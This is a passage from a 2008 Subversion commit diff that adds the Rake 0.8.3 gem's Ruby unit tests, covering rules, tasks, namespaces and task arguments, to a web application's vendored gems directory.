+    assert_equal("1/2", @path.call(-3))
+  end
+end
+
+class TestFileListPathMap < Test::Unit::TestCase
+  def test_file_list_supports_pathmap
+    assert_equal ['a', 'b'], FileList['dir/a.rb', 'dir/b.rb'].pathmap("%n")
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_rake.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_rake.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_rake.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,41 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake'
+
+class TestRake < Test::Unit::TestCase
+  def test_each_dir_parent
+    assert_equal ['a'], alldirs('a')
+    assert_equal ['a/b', 'a'], alldirs('a/b')
+    assert_equal ['/a/b', '/a', '/'], alldirs('/a/b')
+    if File.dirname("c:/foo") == "c:"
+      # Under Unix
+      assert_equal ['c:/a/b', 'c:/a', 'c:'], alldirs('c:/a/b')
+      assert_equal ['c:a/b', 'c:a'], alldirs('c:a/b')
+    else
+      # Under Windows
+      assert_equal ['c:/a/b', 'c:/a', 'c:/'], alldirs('c:/a/b')
+      assert_equal ['c:a/b', 'c:a'], alldirs('c:a/b')
+    end
+  end
+
+  def alldirs(fn)
+    result = []
+    Rake.each_dir_parent(fn) { |d| result << d }
+    result
+  end
+
+  def test_can_override_application
+    old_app = Rake.application
+    fake_app = Object.new
+    Rake.application = fake_app
+    assert_equal fake_app, Rake.application
+  ensure
+    Rake.application = old_app
+  end
+
+  def test_original_dir_reports_current_dir
+    assert_equal Dir.pwd, Rake.original_dir
+  end
+    
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_require.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_require.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_require.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake'
+
+# ====================================================================
+class TestRequire < Test::Unit::TestCase
+
+  def test_can_load_rake_library
+    app = Rake::Application.new
+    assert app.instance_eval {
+      rake_require("test2", ['test/data/rakelib'], [])
+    }
+  end
+
+  def test_wont_reload_rake_library
+    app = Rake::Application.new
+    assert ! app.instance_eval {
+      rake_require("test2", ['test/data/rakelib'], ['test2'])
+    }
+  end
+
+  def test_throws_error_if_library_not_found
+    app = Rake::Application.new
+    ex = assert_raise(LoadError) {
+      assert app.instance_eval {
+        rake_require("testx", ['test/data/rakelib'], [])
+      }
+    }
+    assert_match(/x/, ex.message)
+  end
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_rules.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_rules.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_rules.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,347 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'fileutils'
+require 'rake'
+require 'test/filecreation'
+
+######################################################################
+class TestRules < Test::Unit::TestCase
+  include Rake
+  include FileCreation
+
+  SRCFILE  = "testdata/abc.c"
+  SRCFILE2 =  "testdata/xyz.c"
+  FTNFILE  = "testdata/abc.f"
+  OBJFILE  = "testdata/abc.o"
+  FOOFILE  = "testdata/foo"
+  DOTFOOFILE = "testdata/.foo"
+
+  def setup
+    Task.clear
+    @runs = []
+  end
+
+  def teardown
+    FileList['testdata/*'].each do |f| rm_r(f, :verbose=>false) end
+  end
+
+  def test_multiple_rules1
+    create_file(FTNFILE)
+    delete_file(SRCFILE)
+    delete_file(OBJFILE)
+    rule(/\.o$/ => ['.c']) do @runs << :C end
+    rule(/\.o$/ => ['.f']) do @runs << :F end
+    t = Task[OBJFILE]
+    t.invoke
+    Task[OBJFILE].invoke
+    assert_equal [:F], @runs
+  end
+
+  def test_multiple_rules2
+    create_file(FTNFILE)
+    delete_file(SRCFILE)
+    delete_file(OBJFILE)
+    rule(/\.o$/ => ['.f']) do @runs << :F end
+    rule(/\.o$/ => ['.c']) do @runs << :C end
+    Task[OBJFILE].invoke
+    assert_equal [:F], @runs
+  end
+
+  def test_create_with_source
+    create_file(SRCFILE)
+    rule(/\.o$/ => ['.c']) do |t|
+      @runs << t.name
+      assert_equal OBJFILE, t.name
+      assert_equal SRCFILE, t.source
+    end
+    Task[OBJFILE].invoke
+    assert_equal [OBJFILE], @runs
+  end
+
+  def test_single_dependent
+    create_file(SRCFILE)
+    rule(/\.o$/ => '.c') do |t|
+      @runs << t.name
+    end
+    Task[OBJFILE].invoke
+    assert_equal [OBJFILE], @runs
+  end
+
+  def test_rule_can_be_created_by_string
+    create_file(SRCFILE)
+    rule '.o' => ['.c'] do |t|
+      @runs << t.name
+    end
+    Task[OBJFILE].invoke
+    assert_equal [OBJFILE], @runs
+  end
+
+  def test_rule_prereqs_can_be_created_by_string
+    create_file(SRCFILE)
+    rule '.o' => '.c' do |t|
+      @runs << t.name
+    end
+    Task[OBJFILE].invoke
+    assert_equal [OBJFILE], @runs
+  end
+
+  def test_plain_strings_as_dependents_refer_to_files
+    create_file(SRCFILE)
+    rule '.o' => SRCFILE do |t|
+      @runs << t.name
+    end
+    Task[OBJFILE].invoke
+    assert_equal [OBJFILE], @runs
+  end
+
+  def test_file_names_beginning_with_dot_can_be_tricked_into_refering_to_file
+    verbose(false) do
+      chdir("testdata") do
+        create_file('.foo')
+        rule '.o' => "./.foo" do |t|
+          @runs << t.name
+        end
+        Task[OBJFILE].invoke
+        assert_equal [OBJFILE], @runs
+      end
+    end
+  end
+
+  def test_file_names_beginning_with_dot_can_be_wrapped_in_lambda
+    verbose(false) do
+      chdir("testdata") do
+        create_file(".foo")
+        rule '.o' => lambda{".foo"} do |t|
+          @runs << "#{t.name} - #{t.source}"
+        end
+        Task[OBJFILE].invoke
+        assert_equal ["#{OBJFILE} - .foo"], @runs
+      end
+    end
+  end
+
+  def test_file_names_containing_percent_can_be_wrapped_in_lambda
+    verbose(false) do
+      chdir("testdata") do
+        create_file("foo%x")
+        rule '.o' => lambda{"foo%x"} do |t|
+          @runs << "#{t.name} - #{t.source}"
+        end
+        Task[OBJFILE].invoke
+        assert_equal ["#{OBJFILE} - foo%x"], @runs
+      end
+    end
+  end
+
+  def test_non_extension_rule_name_refers_to_file
+    verbose(false) do
+      chdir("testdata") do
+        create_file("abc.c")
+        rule "abc" => '.c' do |t|
+          @runs << t.name
+        end
+        Task["abc"].invoke
+        assert_equal ["abc"], @runs
+      end
+    end
+  end
+
+  def test_pathmap_automatically_applies_to_name
+    verbose(false) do
+      chdir("testdata") do
+        create_file("zzabc.c")
+        rule ".o" => 'zz%{x,a}n.c' do |t|
+          @runs << "#{t.name} - #{t.source}"
+        end
+        Task["xbc.o"].invoke
+        assert_equal ["xbc.o - zzabc.c"], @runs
+      end
+    end
+  end
+
+  def test_plain_strings_are_just_filenames
+    verbose(false) do
+      chdir("testdata") do
+        create_file("plainname")
+        rule ".o" => 'plainname' do |t|
+          @runs << "#{t.name} - #{t.source}"
+        end
+        Task["xbc.o"].invoke
+        assert_equal ["xbc.o - plainname"], @runs
+      end
+    end
+  end
+
+  def test_rule_runs_when_explicit_task_has_no_actions
+    create_file(SRCFILE)
+    create_file(SRCFILE2)
+    delete_file(OBJFILE)
+    rule '.o' => '.c' do |t|
+      @runs << t.source
+    end
+    file OBJFILE => [SRCFILE2]
+    Task[OBJFILE].invoke
+    assert_equal [SRCFILE], @runs
+  end
+
+  def test_close_matches_on_name_do_not_trigger_rule
+    create_file("testdata/x.c")
+    rule '.o' => ['.c'] do |t|
+      @runs << t.name
+    end
+    assert_raises(RuntimeError) { Task['testdata/x.obj'].invoke }
+    assert_raises(RuntimeError) { Task['testdata/x.xyo'].invoke }
+  end
+
+  def test_rule_rebuilds_obj_when_source_is_newer
+    create_timed_files(OBJFILE, SRCFILE)
+    rule(/\.o$/ => ['.c']) do
+      @runs << :RULE
+    end
+    Task[OBJFILE].invoke
+    assert_equal [:RULE], @runs
+  end
+
+  def test_rule_with_two_sources_runs_if_both_sources_are_present
+    create_timed_files(OBJFILE, SRCFILE, SRCFILE2)
+    rule OBJFILE => [lambda{SRCFILE}, lambda{SRCFILE2}] do
+      @runs << :RULE
+    end
+    Task[OBJFILE].invoke
+    assert_equal [:RULE], @runs
+  end
+
+  def test_rule_with_two_sources_but_one_missing_does_not_run
+    create_timed_files(OBJFILE, SRCFILE)
+    delete_file(SRCFILE2)
+    rule OBJFILE => [lambda{SRCFILE}, lambda{SRCFILE2}] do
+      @runs << :RULE
+    end
+    Task[OBJFILE].invoke
+    assert_equal [], @runs
+  end
+
+  def test_rule_with_two_sources_builds_both_sources
+    task 'x.aa'
+    task 'x.bb'
+    rule '.a' => '.aa' do
+      @runs << "A"
+    end
+    rule '.b' => '.bb' do
+      @runs << "B"
+    end
+    rule ".c" => ['.a', '.b'] do
+      @runs << "C"
+    end
+    Task["x.c"].invoke
+    assert_equal ["A", "B", "C"], @runs.sort
+  end
+
+  def test_second_rule_runs_when_first_rule_doesnt
+    create_timed_files(OBJFILE, SRCFILE)
+    delete_file(SRCFILE2)
+    rule OBJFILE => [lambda{SRCFILE}, lambda{SRCFILE2}] do
+      @runs << :RULE1
+    end
+    rule OBJFILE => [lambda{SRCFILE}] do
+      @runs << :RULE2
+    end
+    Task[OBJFILE].invoke
+    assert_equal [:RULE2], @runs
+  end
+
+  def test_second_rule_doest_run_if_first_triggers
+    create_timed_files(OBJFILE, SRCFILE, SRCFILE2)
+    rule OBJFILE => [lambda{SRCFILE}, lambda{SRCFILE2}] do
+      @runs << :RULE1
+    end
+    rule OBJFILE => [lambda{SRCFILE}] do
+      @runs << :RULE2
+    end
+    Task[OBJFILE].invoke
+    assert_equal [:RULE1], @runs
+  end
+
+  def test_second_rule_doest_run_if_first_triggers_with_reversed_rules
+    create_timed_files(OBJFILE, SRCFILE, SRCFILE2)
+    rule OBJFILE => [lambda{SRCFILE}] do
+      @runs << :RULE1
+    end
+    rule OBJFILE => [lambda{SRCFILE}, lambda{SRCFILE2}] do
+      @runs << :RULE2
+    end
+    Task[OBJFILE].invoke
+    assert_equal [:RULE1], @runs
+  end
+
+  def test_rule_with_proc_dependent_will_trigger
+    ran = false
+    mkdir_p("testdata/src/jw")
+    create_file("testdata/src/jw/X.java")
+    rule %r(classes/.*\.class) => [
+      proc { |fn| fn.pathmap("%{classes,testdata/src}d/%n.java") }
+    ] do |task|
+      assert_equal task.name, 'classes/jw/X.class'
+      assert_equal task.source, 'testdata/src/jw/X.java'
+      @runs << :RULE
+    end
+    Task['classes/jw/X.class'].invoke
+    assert_equal [:RULE], @runs
+  ensure
+    rm_r("testdata/src", :verbose=>false) rescue nil
+  end
+
+  def test_proc_returning_lists_are_flattened_into_prereqs
+    ran = false
+    mkdir_p("testdata/flatten")
+    create_file("testdata/flatten/a.txt")
+    task 'testdata/flatten/b.data' do |t|
+      ran = true
+      touch t.name, :verbose => false
+    end
+    rule '.html' =>
+      proc { |fn|
+      [
+        fn.ext("txt"),
+        "testdata/flatten/b.data"
+      ]
+    } do |task|
+    end
+    Task['testdata/flatten/a.html'].invoke
+    assert ran, "Should have triggered flattened dependency"
+  ensure
+    rm_r("testdata/flatten", :verbose=>false) rescue nil
+  end
+
+  def test_recursive_rules_will_work_as_long_as_they_terminate
+    actions = []
+    create_file("testdata/abc.xml")
+    rule '.y' => '.xml' do actions << 'y' end
+    rule '.c' => '.y' do actions << 'c'end
+    rule '.o' => '.c' do actions << 'o'end
+    rule '.exe' => '.o' do actions << 'exe'end
+    Task["testdata/abc.exe"].invoke
+    assert_equal ['y', 'c', 'o', 'exe'], actions
+  end
+
+  def test_recursive_rules_that_dont_terminate_will_overflow
+    create_file("testdata/a.a")
+    prev = 'a'
+    ('b'..'z').each do |letter|
+      rule ".#{letter}" => ".#{prev}" do |t| puts "#{t.name}" end
+      prev = letter
+    end
+    ex = assert_raises(Rake::RuleRecursionOverflowError) {
+      Task["testdata/a.z"].invoke
+    }
+    assert_match(/a\.z => testdata\/a.y/, ex.message)
+  end
+
+  def test_rules_with_bad_dependents_will_fail
+    rule "a" => [ 1 ] do |t| puts t.name end
+    assert_raise(RuntimeError) do Task['a'].invoke end
+  end
+
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_task_arguments.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_task_arguments.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_task_arguments.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,89 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake'
+
+######################################################################
+class TestTaskArguments < Test::Unit::TestCase
+  def teardown
+    ENV.delete('rev')
+    ENV.delete('VER')
+  end
+
+  def test_empty_arg_list_is_empty
+    ta = Rake::TaskArguments.new([], [])
+    assert_equal({}, ta.to_hash)
+  end
+
+  def test_multiple_values_in_args
+    ta = Rake::TaskArguments.new([:a, :b, :c], [:one, :two, :three])
+    assert_equal({:a => :one, :b => :two, :c => :three}, ta.to_hash)
+  end
+
+  def test_to_s
+    ta = Rake::TaskArguments.new([:a, :b, :c], [1, 2, 3])
+    assert_equal ta.to_hash.inspect, ta.to_s
+    assert_equal ta.to_hash.inspect, ta.inspect
+  end
+
+  def test_enumerable_behavior
+    ta = Rake::TaskArguments.new([:a, :b, :c], [1, 2 ,3])
+    assert_equal [10, 20, 30], ta.collect { |k,v| v * 10 }.sort
+  end
+
+  def test_named_args
+    ta = Rake::TaskArguments.new(["aa", "bb"], [1, 2])
+    assert_equal 1, ta.aa
+    assert_equal 1, ta[:aa]
+    assert_equal 1, ta["aa"]
+    assert_equal 2, ta.bb
+    assert_nil ta.cc
+  end
+
+  def test_args_knows_its_names
+    ta = Rake::TaskArguments.new(["aa", "bb"], [1, 2])
+    assert_equal ["aa", "bb"], ta.names
+  end
+
+  def test_extra_names_are_nil
+    ta = Rake::TaskArguments.new(["aa", "bb", "cc"], [1, 2])
+    assert_nil ta.cc
+  end
+
+  def test_args_can_reference_env_values
+    ta = Rake::TaskArguments.new(["aa"], [1])
+    ENV['rev'] = "1.2"
+    ENV['VER'] = "2.3"
+    assert_equal "1.2", ta.rev
+    assert_equal "2.3", ta.ver
+  end
+
+  def test_creating_new_argument_scopes
+    parent = Rake::TaskArguments.new(['p'], [1])
+    child = parent.new_scope(['c', 'p'])
+    assert_equal({:p=>1}, child.to_hash)
+    assert_equal 1, child.p
+    assert_equal 1, child["p"]
+    assert_equal 1, child[:p]
+    assert_nil child.c
+  end
+
+  def test_child_hides_parent_arg_names
+    parent = Rake::TaskArguments.new(['aa'], [1])
+    child = Rake::TaskArguments.new(['aa'], [2], parent)
+    assert_equal 2, child.aa
+  end
+  
+  def test_default_arguments_values_can_be_merged
+    ta = Rake::TaskArguments.new(["aa", "bb"], [nil, "original_val"])
+    ta.with_defaults({ :aa => 'default_val' })
+    assert_equal 'default_val', ta[:aa]
+    assert_equal 'original_val', ta[:bb]
+  end
+
+  def test_default_arguements_that_dont_match_names_are_ignored
+    ta = Rake::TaskArguments.new(["aa", "bb"], [nil, "original_val"])
+    ta.with_defaults({ "cc" => "default_val" })
+    assert_nil ta[:cc]
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_task_manager.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_task_manager.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_task_manager.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,170 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake'
+
+class TaskManager
+  include Rake::TaskManager
+end
+
+class TestTaskManager < Test::Unit::TestCase
+  def setup
+    @tm = TaskManager.new
+  end
+
+  def test_create_task_manager
+    assert_not_nil @tm
+    assert_equal [], @tm.tasks
+  end
+
+  def test_define_task
+    t = @tm.define_task(Rake::Task, :t)
+    assert_equal "t", t.name
+    assert_equal @tm, t.application
+  end
+
+  def test_name_lookup
+    t = @tm.define_task(Rake::Task, :t)
+    assert_equal t, @tm[:t]
+  end
+
+  def test_namespace_task_create
+    @tm.in_namespace("x") do
+      t = @tm.define_task(Rake::Task, :t)
+      assert_equal "x:t", t.name
+    end
+    assert_equal ["x:t"], @tm.tasks.collect { |t| t.name }
+  end
+
+  def test_anonymous_namespace
+    anon_ns = @tm.in_namespace(nil) do
+      t = @tm.define_task(Rake::Task, :t)
+      assert_equal "_anon_1:t", t.name
+    end
+    task = anon_ns[:t]
+    assert_equal "_anon_1:t", task.name
+  end
+
+  def test_create_filetask_in_namespace
+    @tm.in_namespace("x") do
+      t = @tm.define_task(Rake::FileTask, "fn")
+      assert_equal "fn", t.name
+    end
+    assert_equal ["fn"], @tm.tasks.collect { |t| t.name }
+  end
+
+  def test_namespace_yields_same_namespace_as_returned
+    yielded_namespace = nil
+    returned_namespace = @tm.in_namespace("x") do |ns|
+      yielded_namespace = ns
+    end
+    assert_equal returned_namespace, yielded_namespace
+  end
+
+  def test_name_lookup_with_implicit_file_tasks
+    t = @tm["README"]
+    assert_equal "README", t.name
+    assert Rake::FileTask === t
+  end
+
+  def test_name_lookup_with_nonexistent_task
+    assert_raise(RuntimeError) {
+      t = @tm["DOES NOT EXIST"]
+    }
+  end
+
+  def test_name_lookup_in_multiple_scopes
+    aa = nil
+    bb = nil
+    xx = @tm.define_task(Rake::Task, :xx)
+    top_z = @tm.define_task(Rake::Task, :z)
+    @tm.in_namespace("a") do
+      aa = @tm.define_task(Rake::Task, :aa)
+      mid_z = @tm.define_task(Rake::Task, :z)
+      @tm.in_namespace("b") do
+        bb = @tm.define_task(Rake::Task, :bb)
+        bot_z = @tm.define_task(Rake::Task, :z)
+
+        assert_equal ["a", "b"], @tm.current_scope
+
+        assert_equal bb, @tm["a:b:bb"]
+        assert_equal aa, @tm["a:aa"]
+        assert_equal xx, @tm["xx"]
+        assert_equal bot_z, @tm["z"]
+        assert_equal mid_z, @tm["^z"]
+        assert_equal top_z, @tm["^^z"]
+        assert_equal top_z, @tm["rake:z"]
+      end
+
+      assert_equal ["a"], @tm.current_scope
+
+      assert_equal bb, @tm["a:b:bb"]
+      assert_equal aa, @tm["a:aa"]
+      assert_equal xx, @tm["xx"]
+      assert_equal bb, @tm["b:bb"]
+      assert_equal aa, @tm["aa"]
+      assert_equal mid_z, @tm["z"]
+      assert_equal top_z, @tm["^z"]
+      assert_equal top_z, @tm["rake:z"]
+    end
+
+    assert_equal [], @tm.current_scope
+
+    assert_equal [], xx.scope
+    assert_equal ['a'], aa.scope
+    assert_equal ['a', 'b'], bb.scope
+  end
+
+  def test_lookup_with_explicit_scopes
+    t1, t2, t3, s = (0...4).collect { nil }
+    t1 = @tm.define_task(Rake::Task, :t)
+    @tm.in_namespace("a") do
+      t2 = @tm.define_task(Rake::Task, :t)
+      s =  @tm.define_task(Rake::Task, :s)
+      @tm.in_namespace("b") do
+        t3 = @tm.define_task(Rake::Task, :t)
+      end
+    end
+    assert_equal t1, @tm[:t, []]
+    assert_equal t2, @tm[:t, ["a"]]    
+    assert_equal t3, @tm[:t, ["a", "b"]]
+    assert_equal s,  @tm[:s, ["a", "b"]]
+    assert_equal s,  @tm[:s, ["a"]]
+  end
+
+  def test_correctly_scoped_prerequisites_are_invoked
+    values = []
+    @tm = Rake::Application.new
+    @tm.define_task(Rake::Task, :z) do values << "top z" end
+    @tm.in_namespace("a") do
+      @tm.define_task(Rake::Task, :z) do values << "next z" end
+      @tm.define_task(Rake::Task, :x => :z)
+    end
+
+    @tm["a:x"].invoke
+    assert_equal ["next z"], values
+  end
+  
+end
+
+class TestTaskManagerArgumentResolution < Test::Unit::TestCase
+  def test_good_arg_patterns
+    assert_equal [:t, [], []],       task(:t)
+    assert_equal [:t, [], [:x]],     task(:t => :x)
+    assert_equal [:t, [], [:x, :y]], task(:t => [:x, :y])
+
+    assert_equal [:t, [:a, :b], []],       task(:t, :a, :b)
+    assert_equal [:t, [], [:x]],           task(:t, :needs => :x)
+    assert_equal [:t, [:a, :b], [:x]],     task(:t, :a, :b, :needs => :x)
+    assert_equal [:t, [:a, :b], [:x, :y]], task(:t, :a, :b, :needs => [:x, :y])
+
+    assert_equal [:t, [:a, :b], []],       task(:t, [:a, :b])
+    assert_equal [:t, [:a, :b], [:x]],     task(:t, [:a, :b] => :x)
+    assert_equal [:t, [:a, :b], [:x, :y]], task(:t, [:a, :b] => [:x, :y])
+  end
+
+  def task(*args)
+    tm = TaskManager.new
+    tm.resolve_args(args)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_tasklib.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_tasklib.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_tasklib.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake/tasklib'
+
+
+class TestTaskLib < Test::Unit::TestCase
+  def test_paste
+    tl = Rake::TaskLib.new
+    assert_equal :ab, tl.paste(:a, :b)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_tasks.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_tasks.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_tasks.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,371 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'fileutils'
+require 'rake'
+require 'test/filecreation'
+require 'test/capture_stdout'
+
+######################################################################
+class TestTask < Test::Unit::TestCase
+  include CaptureStdout
+  include Rake
+
+  def setup
+    Task.clear
+  end
+
+  def test_create
+    arg = nil
+    t = task(:name) { |task| arg = task; 1234 }
+    assert_equal "name", t.name
+    assert_equal [], t.prerequisites
+    assert t.needed?
+    t.execute(0)
+    assert_equal t, arg
+    assert_nil t.source
+    assert_equal [], t.sources
+  end
+
+  def test_inspect
+    t = task(:foo, :needs => [:bar, :baz])
+    assert_equal "<Rake::Task foo => [bar, baz]>", t.inspect
+  end
+
+  def test_invoke
+    runlist = []
+    t1 = task(:t1 => [:t2, :t3]) { |t| runlist << t.name; 3321 }
+    t2 = task(:t2) { |t| runlist << t.name }
+    t3 = task(:t3) { |t| runlist << t.name }
+    assert_equal ["t2", "t3"], t1.prerequisites
+    t1.invoke
+    assert_equal ["t2", "t3", "t1"], runlist
+  end
+
+  def test_invoke_with_circular_dependencies
+    runlist = []
+    t1 = task(:t1 => [:t2]) { |t| runlist << t.name; 3321 }
+    t2 = task(:t2 => [:t1]) { |t| runlist << t.name }
+    assert_equal ["t2"], t1.prerequisites
+    assert_equal ["t1"], t2.prerequisites
+    ex = assert_raise RuntimeError do
+      t1.invoke
+    end
+    assert_match(/circular dependency/i, ex.message)
+    assert_match(/t1 => t2 => t1/, ex.message)
+  end
+
+  def test_dry_run_prevents_actions
+    Rake.application.options.dryrun = true
+    runlist = []
+    t1 = task(:t1) { |t| runlist << t.name; 3321 }
+    out = capture_stdout { t1.invoke }
+    assert_match(/execute .*t1/i, out)
+    assert_match(/dry run/i, out)
+    assert_no_match(/invoke/i, out)
+    assert_equal [], runlist
+  ensure
+    Rake.application.options.dryrun = false
+  end
+
+  def test_tasks_can_be_traced
+    Rake.application.options.trace = true
+    t1 = task(:t1)
+    out = capture_stdout {
+      t1.invoke
+    }
+    assert_match(/invoke t1/i, out)
+    assert_match(/execute t1/i, out)
+  ensure
+    Rake.application.options.trace = false
+  end
+
+  def test_no_double_invoke
+    runlist = []
+    t1 = task(:t1 => [:t2, :t3]) { |t| runlist << t.name; 3321 }
+    t2 = task(:t2 => [:t3]) { |t| runlist << t.name }
+    t3 = task(:t3) { |t| runlist << t.name }
+    t1.invoke
+    assert_equal ["t3", "t2", "t1"], runlist
+  end
+
+  def test_can_double_invoke_with_reenable
+    runlist = []
+    t1 = task(:t1) { |t| runlist << t.name }
+    t1.invoke
+    t1.reenable
+    t1.invoke
+    assert_equal ["t1", "t1"], runlist
+  end
+
+  def test_clear
+    t = task("t" => "a") { }
+    t.clear
+    assert t.prerequisites.empty?, "prerequisites should be empty"
+    assert t.actions.empty?, "actions should be empty"
+  end
+
+  def test_clear_prerequisites
+    t = task("t" => ["a", "b"])
+    assert_equal ['a', 'b'], t.prerequisites
+    t.clear_prerequisites
+    assert_equal [], t.prerequisites
+  end
+
+  def test_clear_actions
+    t = task("t") { }
+    t.clear_actions
+    assert t.actions.empty?, "actions should be empty"
+  end
+
+  def test_find
+    task :tfind
+    assert_equal "tfind", Task[:tfind].name
+    ex = assert_raises(RuntimeError) { Task[:leaves] }
+    assert_equal "Don't know how to build task 'leaves'", ex.message
+  end
+
+  def test_defined
+    assert ! Task.task_defined?(:a)
+    task :a
+    assert Task.task_defined?(:a)
+  end
+
+  def test_multi_invocations
+    runs = []
+    p = proc do |t| runs << t.name end
+    task({:t1=>[:t2,:t3]}, &p)
+    task({:t2=>[:t3]}, &p)
+    task(:t3, &p)
+    Task[:t1].invoke
+    assert_equal ["t1", "t2", "t3"], runs.sort
+  end
+
+  def test_task_list
+    task :t2
+    task :t1 => [:t2]
+    assert_equal ["t1", "t2"], Task.tasks.collect {|t| t.name}
+  end
+
+  def test_task_gives_name_on_to_s
+    task :abc
+    assert_equal "abc", Task[:abc].to_s
+  end
+
+  def test_symbols_can_be_prerequisites
+    task :a => :b
+    assert_equal ["b"], Task[:a].prerequisites
+  end
+
+  def test_strings_can_be_prerequisites
+    task :a => "b"
+    assert_equal ["b"], Task[:a].prerequisites
+  end
+
+  def test_arrays_can_be_prerequisites
+    task :a => ["b", "c"]
+    assert_equal ["b", "c"], Task[:a].prerequisites
+  end
+
+  def test_filelists_can_be_prerequisites
+    task :a => FileList.new.include("b", "c")
+    assert_equal ["b", "c"], Task[:a].prerequisites
+  end
+
+  def test_investigation_output
+    t1 = task(:t1 => [:t2, :t3]) { |t| runlist << t.name; 3321 }
+    task(:t2)
+    task(:t3)
+    out = t1.investigation
+    assert_match(/class:\s*Rake::Task/, out)
+    assert_match(/needed:\s*true/, out)
+    assert_match(/pre-requisites:\s*--t2/, out)
+  end
+
+
+  def test_extended_comments
+    desc %{
+      This is a comment.
+
+      And this is the extended comment.
+      name -- Name of task to execute.
+      rev  -- Software revision to use.
+    }
+    t = task(:t, :name, :rev)
+    assert_equal "[name,rev]", t.arg_description
+    assert_equal "This is a comment.", t.comment
+    assert_match(/^\s*name -- Name/, t.full_comment)
+    assert_match(/^\s*rev  -- Software/, t.full_comment)
+    assert_match(/\A\s*This is a comment\.$/, t.full_comment)
+  end
+
+  def test_multiple_comments
+    desc "line one"
+    t = task(:t)
+    desc "line two"
+    task(:t)
+    assert_equal "line one / line two", t.comment
+  end
+
+  def test_settable_comments
+    t = task(:t)
+    t.comment = "HI"
+    assert_equal "HI", t.comment
+  end
+end
+
+######################################################################
+class TestTaskWithArguments < Test::Unit::TestCase
+  include CaptureStdout
+  include Rake
+
+  def setup
+    Task.clear
+  end
+
+  def test_no_args_given
+    t = task :t
+    assert_equal [], t.arg_names
+  end
+
+  def test_args_given
+    t = task :t, :a, :b
+    assert_equal [:a, :b], t.arg_names
+  end
+
+  def test_name_and_needs
+    t = task(:t => [:pre])
+    assert_equal "t", t.name
+    assert_equal [], t.arg_names
+    assert_equal ["pre"], t.prerequisites
+  end
+
+  def test_name_and_explicit_needs
+    t = task(:t, :needs => [:pre])
+    assert_equal "t", t.name
+    assert_equal [], t.arg_names
+    assert_equal ["pre"], t.prerequisites
+  end
+
+  def test_name_args_and_explicit_needs
+    t = task(:t, :x, :y, :needs => [:pre])
+    assert_equal "t", t.name
+    assert_equal [:x, :y], t.arg_names
+    assert_equal ["pre"], t.prerequisites
+  end
+
+  def test_illegal_keys_in_task_name_hash
+    assert_raise RuntimeError do
+      t = task(:t, :x, :y => 1, :needs => [:pre])
+    end
+  end
+
+  def test_arg_list_is_empty_if_no_args_given
+    t = task(:t) { |tt, args| assert_equal({}, args.to_hash) }
+    t.invoke(1, 2, 3)
+  end
+
+  def test_tasks_can_access_arguments_as_hash
+    t = task :t, :a, :b, :c do |tt, args|
+      assert_equal({:a => 1, :b => 2, :c => 3}, args.to_hash)
+      assert_equal 1, args[:a]
+      assert_equal 2, args[:b]
+      assert_equal 3, args[:c]
+      assert_equal 1, args.a
+      assert_equal 2, args.b
+      assert_equal 3, args.c
+    end
+    t.invoke(1, 2, 3)
+  end
+
+  def test_actions_of_various_arity_are_ok_with_args
+    notes = []
+    t = task(:t, :x) do
+      notes << :a
+    end
+    t.enhance do | |
+      notes << :b
+    end
+    t.enhance do |task|
+      notes << :c
+      assert_kind_of Task, task
+    end
+    t.enhance do |t2, args|
+      notes << :d
+      assert_equal t, t2
+      assert_equal({:x => 1}, args.to_hash)
+    end
+    assert_nothing_raised do t.invoke(1) end
